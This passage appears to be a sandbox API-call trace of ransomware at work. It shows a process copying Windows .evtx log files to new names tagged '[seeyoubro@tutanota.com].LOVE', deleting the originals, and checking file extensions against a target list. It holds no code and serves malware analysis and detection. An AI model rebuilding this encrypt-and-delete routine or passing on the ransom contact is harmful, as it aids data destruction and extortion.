out: lpNewFilePointer=0x0) returned 1 [0207.142] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.142] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0207.142] GetLastError () returned 0x0 [0207.142] ReadFile (in: hFile=0x368, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.222] WriteFile (in: hFile=0x384, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.223] ReadFile (in: hFile=0x368, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.223] WriteFile (in: hFile=0x384, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x130, lpOverlapped=0x0) returned 1 [0207.223] SetEndOfFile (hFile=0x384) returned 1 [0207.223] CloseHandle (hObject=0x384) returned 1 [0207.225] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.225] SetEndOfFile (hFile=0x368) returned 1 [0207.226] CloseHandle (hObject=0x368) returned 1 [0207.227] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.227] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1 [0207.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0207.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0207.227] lstrlenW (lpString=".doc") returned 4 [0207.227] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.227] lstrlenW (lpString=".docx") returned 5 [0207.227] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.227] lstrlenW (lpString=".pdf") returned 4 [0207.227] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.227] lstrlenW (lpString=".xls") returned 4 [0207.227] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.227] lstrlenW (lpString=".xlsx") returned 5 [0207.227] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.227] lstrlenW (lpString=".ppt") returned 4 [0207.227] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.227] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0207.227] lstrlenW (lpString=".zip") returned 4 [0207.227] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.227] lstrlenW (lpString=".rar") returned 4 [0207.227] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.228] lstrlenW (lpString=".bz2") returned 4 [0207.228] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.228] lstrlenW (lpString=".7z") returned 3 [0207.228] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0207.228] lstrlenW (lpString=".dbf") returned 4 [0207.228] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0207.228] lstrlenW (lpString=".1cd") returned 4 [0207.228] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0207.228] lstrlenW (lpString=".jpg") returned 4 [0207.228] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0207.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0207.228] lstrlenW (lpString=".doc") returned 4 [0207.228] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.228] lstrlenW (lpString=".docx") returned 5 [0207.228] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.228] lstrlenW (lpString=".pdf") returned 4 [0207.228] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.228] lstrlenW (lpString=".xls") returned 4 [0207.228] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.228] lstrlenW (lpString=".xlsx") returned 5 [0207.228] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.228] lstrlenW (lpString=".ppt") returned 4 [0207.228] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0207.228] lstrlenW (lpString=".zip") returned 4 [0207.228] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.228] lstrlenW (lpString=".rar") returned 4 [0207.228] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.228] lstrlenW (lpString=".bz2") returned 4 [0207.228] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.228] lstrlenW (lpString=".7z") returned 3 [0207.228] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.228] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0207.228] lstrlenW (lpString=".dbf") returned 4 [0207.229] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0207.229] lstrlenW (lpString=".1cd") returned 4 [0207.229] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54 [0207.229] lstrlenW (lpString=".jpg") returned 4 [0207.229] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.229] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.229] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42 [0207.229] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.428] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0207.429] CloseHandle (hObject=0x31c) returned 1 [0207.429] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0207.429] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.429] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.429] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.429] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.429] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0207.431] GetLastError () returned 0x0 [0207.431] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.508] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.510] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.510] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x128, lpOverlapped=0x0) returned 1 [0207.511] SetEndOfFile (hFile=0x378) returned 1 [0207.511] CloseHandle (hObject=0x378) returned 1 [0207.513] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.513] SetEndOfFile (hFile=0x31c) returned 1 [0207.515] CloseHandle (hObject=0x31c) returned 1 [0207.515] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.515] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1 [0207.515] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0207.515] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0207.515] lstrlenW (lpString=".doc") returned 4 [0207.515] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.515] lstrlenW (lpString=".docx") returned 5 [0207.515] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.515] lstrlenW (lpString=".pdf") returned 4 [0207.515] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.515] lstrlenW (lpString=".xls") returned 4 [0207.516] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.516] lstrlenW (lpString=".xlsx") returned 5 [0207.516] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.516] lstrlenW (lpString=".ppt") returned 4 [0207.516] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0207.516] lstrlenW (lpString=".zip") returned 4 [0207.516] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.516] lstrlenW (lpString=".rar") returned 4 [0207.516] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.516] lstrlenW (lpString=".bz2") returned 4 [0207.516] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.516] lstrlenW (lpString=".7z") returned 3 [0207.516] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0207.516] lstrlenW (lpString=".dbf") returned 4 [0207.516] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0207.516] lstrlenW (lpString=".1cd") returned 4 [0207.516] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0207.516] lstrlenW (lpString=".jpg") returned 4 [0207.516] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0207.516] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0207.516] lstrlenW (lpString=".doc") returned 4 [0207.516] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.516] lstrlenW (lpString=".docx") returned 5 [0207.516] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.517] lstrlenW (lpString=".pdf") returned 4 [0207.517] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.517] lstrlenW (lpString=".xls") returned 4 [0207.517] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.517] lstrlenW (lpString=".xlsx") returned 5 [0207.517] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.517] lstrlenW (lpString=".ppt") returned 4 [0207.517] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0207.517] lstrlenW (lpString=".zip") returned 4 [0207.517] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.517] lstrlenW (lpString=".rar") returned 4 [0207.517] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.517] lstrlenW (lpString=".bz2") returned 4 [0207.517] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.517] lstrlenW (lpString=".7z") returned 3 [0207.517] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0207.517] lstrlenW (lpString=".dbf") returned 4 [0207.517] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0207.517] lstrlenW (lpString=".1cd") returned 4 [0207.517] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.517] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0207.517] lstrlenW (lpString=".jpg") returned 4 [0207.518] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.518] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.518] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Operational.evtx") returned 45 [0207.518] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.518] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0207.518] CloseHandle (hObject=0x31c) returned 1 [0207.518] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0207.518] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.519] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.519] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.519] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.519] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0207.519] GetLastError () returned 0x0 [0207.519] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.586] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.588] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.588] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x12e, lpOverlapped=0x0) returned 1 [0207.588] SetEndOfFile (hFile=0x378) returned 1 [0207.600] CloseHandle (hObject=0x378) returned 1 [0207.602] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.602] SetEndOfFile (hFile=0x31c) returned 1 [0207.603] CloseHandle (hObject=0x31c) returned 1 [0207.603] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.603] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1 [0207.604] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0207.604] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0207.604] lstrlenW (lpString=".doc") returned 4 [0207.604] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.604] lstrlenW (lpString=".docx") returned 5 [0207.604] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.604] lstrlenW (lpString=".pdf") returned 4 [0207.604] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.604] lstrlenW (lpString=".xls") returned 4 [0207.604] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.604] lstrlenW (lpString=".xlsx") returned 5 [0207.604] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.604] lstrlenW (lpString=".ppt") returned 4 [0207.604] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.604] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0207.604] lstrlenW (lpString=".zip") returned 4 [0207.604] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.604] lstrlenW (lpString=".rar") returned 4 [0207.604] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.604] lstrlenW (lpString=".bz2") returned 4 [0207.604] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.604] lstrlenW (lpString=".7z") returned 3 [0207.604] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.604] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0207.604] lstrlenW (lpString=".dbf") returned 4 [0207.604] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.604] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0207.604] lstrlenW (lpString=".1cd") returned 4 [0207.604] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.604] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0207.604] lstrlenW (lpString=".jpg") returned 4 [0207.605] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.605] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0207.605] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0207.605] lstrlenW (lpString=".doc") returned 4 [0207.605] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.605] lstrlenW (lpString=".docx") returned 5 [0207.605] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.605] lstrlenW (lpString=".pdf") returned 4 [0207.605] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.605] lstrlenW (lpString=".xls") returned 4 [0207.605] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.605] lstrlenW (lpString=".xlsx") returned 5 [0207.605] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.605] lstrlenW (lpString=".ppt") returned 4 [0207.605] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.605] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0207.605] lstrlenW (lpString=".zip") returned 4 [0207.605] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.605] lstrlenW (lpString=".rar") returned 4 [0207.605] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.605] lstrlenW (lpString=".bz2") returned 4 [0207.605] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.605] lstrlenW (lpString=".7z") returned 3 [0207.605] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.605] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0207.605] lstrlenW (lpString=".dbf") returned 4 [0207.605] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.605] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0207.605] lstrlenW (lpString=".1cd") returned 4 [0207.605] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.605] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0207.605] lstrlenW (lpString=".jpg") returned 4 [0207.605] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.606] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.606] lstrlenW (lpString="Microsoft-Windows-Store%4Operational.evtx") returned 41 [0207.606] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.606] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x369ff14 | out: lpFileSize=0x369ff14*=69632) returned 1 [0207.606] CloseHandle (hObject=0x31c) returned 1 [0207.606] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0207.607] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.607] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.607] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.607] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.607] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0207.607] GetLastError () returned 0x0 [0207.607] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x11000, lpOverlapped=0x0) returned 1 [0207.644] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x11010, lpOverlapped=0x0) returned 1 [0207.646] ReadFile (in: hFile=0x31c, lpBuffer=0x3f72020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x369fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesRead=0x369fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.646] WriteFile (in: hFile=0x378, lpBuffer=0x3f72020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x369fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f72020*, lpNumberOfBytesWritten=0x369fc94*=0x126, lpOverlapped=0x0) returned 1 [0207.646] SetEndOfFile (hFile=0x378) returned 1 [0207.646] CloseHandle (hObject=0x378) returned 1 [0207.649] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x369fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.649] SetEndOfFile (hFile=0x31c) returned 1 [0207.650] CloseHandle (hObject=0x31c) returned 1 [0207.650] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", 